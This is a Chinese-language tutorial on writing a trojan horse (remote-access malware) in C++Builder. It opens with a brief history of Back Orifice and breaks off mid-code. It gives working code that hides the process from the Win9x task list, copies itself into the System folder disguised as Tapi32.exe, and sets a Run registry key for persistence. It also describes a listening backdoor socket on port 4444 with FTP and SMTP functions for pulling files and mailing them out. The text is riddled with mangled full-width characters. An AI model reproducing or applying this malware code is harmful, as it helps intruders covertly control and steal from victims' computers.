木马编写培训教程

木马的编写实例

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Bａck Orｉfｉce以来，木马犹如平地上的惊雷, 使在Ｄos——Ｗindowｓ时代中长大的中国网民从五彩缤纷的网络之梦中惊醒，终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

ﻭ我那时在《电脑报》上看到一篇文章，大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救！要知道,木马(Ｔrojａn）的历史是很悠久的：早在AＴ&T Uｎｉx和BSＤＵnix 十分盛行的年代，木马是由一些玩程式（主要是C)水平很高的年轻人（主要是老美）用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗——先修改你的.pr ｏfｉｌｅ文件，植入木马；当你登陆时将你敲入的口令字符存入一个文件,用Emａｉl的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Doｓ的熏陶下长大的，对网络可以说很陌生。直到Win９x横空出世，尤其是WinNt的普及,大大推动了网络事业的发展的时候，BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马（甚至在Wiｎ9x的“关闭程序”对话框可以看到进程）给了当时中国人极大的震撼，它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马，听起来很Cooｌ是不是？！木马一定是由两部分组成——服务器程序（Serｖｅr)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务；客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是ＴCP/ＩP协议）。为了让大家更好的了解木马攻击技术,破除木马的神秘感，我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。ﻭ

首先是编程工具的选择。目前流行的开发工具有Ｃ＋+Builｄer、VC、VＢ和Dｅlpｈi,这里我们选用C ＋+Ｂuildｅr（以下简称ＢCＢ);VＣ虽然好，但GUI设计太复杂，为了更好地突出我的例子，集中注意力在木马的基本原理上,我们选用可视化的BCB；Dｅlphi也不错，但缺陷是不能继承已有的资源（如“死牛崇拜”黑客小组公布的BO２00０源代码,是ＶＣ编写的,网上俯拾皆是)；VB嘛,谈都不谈——难道你还给受害者传一个1兆多的动态链接库——Msvbvｍ６0．ｄll吗?

启动C＋＋Buｉｌdeｒ5.0企业版，新建一个工程,添加三个VCＬ控件：一个是Iｎｔeｒｎet页中的Ser ｖer Socket,另两个是Fastnet页中的NM。Seｒｖｅr Soｃket的功能是用来使本程序变成一个服务器程序，可以对外服务(对攻击者敞开大门）。Ｓｏcｋet最初是在Unix上出现的，后来微软将它引入了Ｗindoｗs中(包括Wiｎ９8和WiｎNt)；后两个控件的作用是用来使程序具有TranｓfeｒPｒoｔocｏl文件传输协议）和SMTP(Sｉmpｌe Maｉl Transfｅr Protoｃoｌ简单邮件传输协议）功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

ﻭFoｒm窗体是可视的,这当然是不可思议的。不光占去了大量的空间（光一个Fｏrm就有3００Ｋ之大),而且使软件可见，根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form，就像Delp ｈｉ用过程实现的小程序一般只有１7K左右那样。ﻭﻭ我们首先应该让我们的程序能够隐身。双击Ｆorm,首先在ＦｏrmCrｅatｅ事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Seｒvｉce的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此，只要将我们的程序在进程数据库中用ＲｅｇisterServicｅＰrocesｓ(）函数注册成服务进程（Sｅｒvice Proceｓｓ）就可以了。不过该函数的声明在Borlaｎd预先打包的头文件中没有,那么我们只好自己来声明这个位于KEＲNEL3２.DＬL中的鸟函数了。ﻭ首先判断目标机的操作系统是Win９ｘ还是ＷｉnNt：ﻭ

{

ＤＷORD dwVｅｒsion ＝ＧetVｅrsｉon(）;ﻭ// 得到操作系统的版本号

if (ｄwVeｒｓｉon >=0ｘ8000000０)ﻭ// 操作系统是Win9x，不是WinNt

{

typｅdef ＤWORD （CALLBACK＊ＬＰRＥGISTEＲSEＲVICEPＲＯCＥSＳ)（ＤWORD,DWＯRD);

//定义RegｉｓtｅrＳeｒvicePｒoceｓs（)函数的原型

ＨINSＴANCE hＤＬL;

LＰRＥＧISTERSERVICEPROＣESＳｌpＲeｇｉstｅrServｉcePｒocｅss;ﻭhDLL = LｏａdLib ｒaｒｙ（"KERNＥＬ３2"）;

//加载ＲegiｓterSeｒｖicePｒocesｓ（)函数所在的动态链接库KERNEL32．DLＬ

lｐRegisterＳeｒvicePｒｏｃess = （LPREGIＳＴＥRSERVＩCEＰRＯCESＳ）GetPｒoｃAｄdress(hＤＬＬ,"ＲeｇisteｒServiｃeＰroｃess"）;

/／得到RｅgisterServiceＰｒｏｃeｓｓ()函数的地址ﻭlpＲeｇisｔｅｒServiｃePｒｏｃｅss（ＧeｔＣurrenｔPrｏcessId(）,1）;

/／执行RｅｇiｓterServｉｃePｒocess(）函数,隐藏本进程ﻭFｒeeＬibrarｙ（hDLL);

}ﻭ｝ﻭ

//卸载动态链接库ﻭ

这样就终于可以隐身了（害我敲了这么多代码!）。为什么要判断操作系统呢？因为ＷｉnＮt中的进程管理器可以对当前进程一览无余，因此没必要在WiｎＮt下也使用以上代码（不过你可以使用其他的方法，这个留到后面再讲）。

接着再将自己拷贝一份到%System%目录下，例如：C:\\Wｉndowｓ\＼Syｓtem,并修改注册表，以便启动时自动加载:ﻭ

{ﻭchａｒTempＰath[ＭAＸ_PA TH];ﻭ//定义一个变量

GetSｙｓtｅmDirｅｃtory(ＴｅmpPaｔｈ,MＡＸ_ＰA TＨ）;ﻭ／/TｅｍpＰath是sｙsteｍ目录缓冲区的地址,MAX＿PA TH是缓冲区的大小，得到目标机的System目录路径

SyｓtemPatｈ=AｎsiSｔrｉng(TemｐPａth）;

//格式化TempPath字符串，使之成为能供编译器使用的样式ﻭCｏｐy（０)．c_stｒ（），AnsｉSｔｒｉng(ＳyｓtｅｍPａth+＂\＼＼\Ｔapi32.exｅ"）.c_ｓtｒ(),ＦＡLＳE)；ﻭ//将自己拷贝到%Systｅm%目录下，并改名为Taｐｉ32.exe，伪装起来ﻭRｅｇistrｙ=nｅｗＴＲｅgｉstry;ﻭ//定义一个TRｅｇｉstry对象,准备修改注册表,这一步必不可少ﻭRegistｒy->RｏｏtKey＝ＨKEY_LOＣAＬ_MＡCＨIＮE;

//设置主键为ＨKEＹ_ＬＯCＡＬ_ＭAＣHIＮＥ

Rｅｇistry-＞ＯpeｎKｅy（"Ｓoｆｔwａre\＼\\Microsoft\＼\\Ｗindｏws\\\＼

CurｒenｔVersion＼\\\Run＂,ＴRUE);ﻭ//打开键值Soｆtware＼＼\\Mｉｃrｏsoft\\＼\Wｉndows\\\\Cuｒrｅnt Ｖersion＼\＼\Run，如果不存在，就创建之

tryﻭ {ﻭ／/如果以下语句发生异常，跳至catch,以避免程序崩溃

if(Reｇistry-＞ReａdＳtｒing（"ｃrossbｏw")！=SyｓｔｅmＰaｔｈ+"\\\\Ｔaｐi32.exｅ＂）Ｒｅgiｓｔｒy->WｒiｔeStriｎg("ｃｒｏｓsbｏw"，SｙstｅmPaｔh+＂\\\＼Tapi3２．eｘｅ＂）;ﻭ//查找是否有“crosｓｂow”字样的键值，并且是否为拷贝的目录%Systｅm%+Ｔａpｉ32．eｘe ／/如果不是,就写入以上键值和内容ﻭ｝ﻭcａtｃh(．..）ﻭ{ﻭ//如果有错误,什么也不做ﻭ}

}

好，ＦｏrmCreａｔｅ过程完成了，这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

ﻭ接着选中SeｒvｅrSocｋet控件,在左边的ObｊecｔInspeｃtor中将Ａctive改为truｅ，这样程序一启动就打开特定端口，处于服务器工作状态。再将Pｏrt填入44４４,这是木马的端口号，当然你也可以用别的。但是你要注意不要用1024以下的低端端口，因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉，因此尽量使用1024以上的高端端口（不过也有这样一种技术，它故意使用特定端口,因为如果引起冲突，Windoｗｓ也不会报错^_＾)。你可以看一看ＴNMFＴＰ控件使用的端口,是21号端口,这是FTP协议的专用控制端口( Pｏrt）；同理TＮMSＭTP的2５号端口也是SMTP协议的专用端口。ﻭ再选中SｅｒｖerＳoｃkｅt控件,点击Ｅvents页，双击OnＣlientＲｅａd事件，敲入以下代码:ﻭﻭ{